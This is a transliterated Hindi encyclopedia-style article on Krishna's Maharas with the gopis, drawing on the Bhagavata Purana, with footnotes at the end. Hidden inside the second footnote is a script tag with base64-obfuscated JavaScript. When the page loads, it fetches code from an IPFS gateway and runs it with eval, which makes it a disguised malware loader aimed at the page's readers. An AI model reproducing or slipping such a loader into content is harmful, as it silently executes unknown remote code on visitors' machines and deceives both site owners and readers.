महारास
maharas bhagavan shrikrishna se sambandhit hai. solah kalaoan se paripoorn bhagavan shrikrishna ka avatar mukhyat: anand pradhan mana jata hai. unake anand bhav ka poorn vikas unaki madhur ras lila mean hua hai. yah madhur ras lila unaki divy ras kri da hai, jo shrriangar aur ras se poorn hote hue bhi is sthool jagath ke prem v vasana se mukt hai. is rasalila mean ve apane aantarang vishuddh bhaktoan[1] ke sath sharath ki ratriyoan mean vilas karate haian. krishna ki is rasalila mean do dharaean haian, jo donoan or se ati haian aur ekakar ho jati haian. har kshan naya milan, naya roop, naya ras aur nee tripti- yahi prem-ras ka advait svaroop hai aur isi ka nam 'ras' hai.[2]
shrimadbhagavat ke dasavean bhag ke 29vean adhyay ke pratham shlok mean likha hai- "bhagavanapi ta ratri: sharadotphullamilaka." jo yah sanket karata hai ki bhagavan ke sath rasalila ke lie jivatma ka divy sharir aur divy man hona anivary hai. doosare shabdoan mean, is madhur ras lila mean shuddh jiv ka brahm se vilasapoorn milan hai, jisamean laukik prem v kam aanshamatr bhi nahian hai. shuddh jiv ka arth hai- maya ke avaran se rahit jiv. aise jiv ka hi brahm se milan hota hai. isilie gopiyoan ke sath shrikrishna ne maharas se poorv 'chiraharan' ki lila ki thi. jivatma ka paramatma ke samane koee parda nahian rah sakata. parda maya mean hi hai. parda hone se vasana aur ajnan atma ko dhak dete haian aur paramatma ko door karate haian. chiraharan se gopiyoan ka ukt moh bhang hua. jiv ka brahm se milan sahaj nahian hota. vah jab paramatma ke nikat pahuanchata hai, tab ve usase poochhate haian- mere pas kyoan aya hai? jaise krishna ne gopiyoan se kaha- "kaho, kaise ana hua is ghor ratri mean? apane pati, putr, sage-sambandhi, guru aur priyajanoan ki seva karana tumhara dharm hai. tum laut jao apane ghar." gopiyaan svarg-moksh-kam adi se rahit haian. unhoanne uttar diya- "padau padan n chalatastav padamoolad , yam: kathan brajamadho karavam kian va.."[3] arthat "he govind! hamare paanv apake charan-kamaloan ko chho dakar ek pag bhi pichhe hatane ko taiyar nahian haian. ham braj ko lautean to kaise ? aur yadi ham lautean bhi to man ke bina vahaan ham kya karean ? tab krishna ne apane aantim prashn mean gopiyoan ko unake santan moh ki or ishara karate hue kaha- "to kya tumhean apane putroan ka bhi moh nahian hai ?" gopiyoan ka uttar tha- "he mohan! ap mean hi hamara moh sarvopari hai, kyoanki putradi mean bhi ap hi sthit haian. aisi kaun si vastu hai, jo apase alag hai?[2]
krishna unake prem mean ram ge aur unake sath nrity karane lage. nrity karate hue krishna ne mahasoos kiya ki gopiyoan ko unake sath nrity karane, unhean pa lene ka abhiman hone laga hai. lekin krishna aur radha ke is ras mean jaise daihik vasana ki koee jagah nahian hai, usi tarah kisi abhiman ke lie bhi jagah nahian hai. gopiyoan mean vyapt abhiman ke is bhav ko door karane ke lie ve ekaek unake bich se arntadhyan ho ge. aise mean gopiyaan apane priyatam ko n dekhakar svayan ko bhool jati haian aur krishnamayi hokar unhian ki poorv lilaoan ka anukaran karane mean lin ho jati haian. ve shrikrishna ki chal-dhal, has-vilas aur chitavan adi mean unake saman hi banakar sukh pati haian. yah dekhakar krishna dravit ho jate haian aur pun: unake bich prakat hokar kahate haian, maian tumhare tyag aur priti ka rrini hooan aur anant janmoan tak rrini bana rahooanga. ve apane hath age pasarate hue kahate haian- "ao, maharas karean!" krishna pratyek do gopiyoan ke bich mean prakat hokar solah hajar gopiyoan ke sath nrity karane mean lin ho ge. sabhi gopiyoan ke hath unake hath mean the. yah maharas dekhate-dekhate brahma[4] sochane lage ki krishna aur gopiyaan nishkam to haian, phir bhi deh ka bhan bhoolakar is prakar kri da karane se kya vyavastha, shastr aur maryada ka ullanghan nahian hoga? ve yah nahian samajh sake ki prem ka ras, vilas nahian, dharm ka phal hai, yani prem ka phal hai. krishna ne achanak sabhi solah hajar gopiyoan ko apana svaroop de diya aur sarvatr krishna hi krishna dikhaee dene lage. gopiyaan haian kahaan ? maharas prem ka advait svaroop hai, jisamean bhagavath svaroop ho jane ke bad jiv ka svatv nahian rahata hai.
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tika tippani aur sandarbh
- ↑ jo unaki nij rasaroopa radha ki solah hajar kayaroopa gopiyaan haian.
- ↑ 2.0 2.1 prem ka hi advait svaroop hai krishna ka maharas (hindi) speakingtree.in. abhigaman tithi: 8 march, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shrimadbhagavath- 10.29.34
- ↑ srishti ke rachayita
bahari k diyaan
sanbandhit lekh
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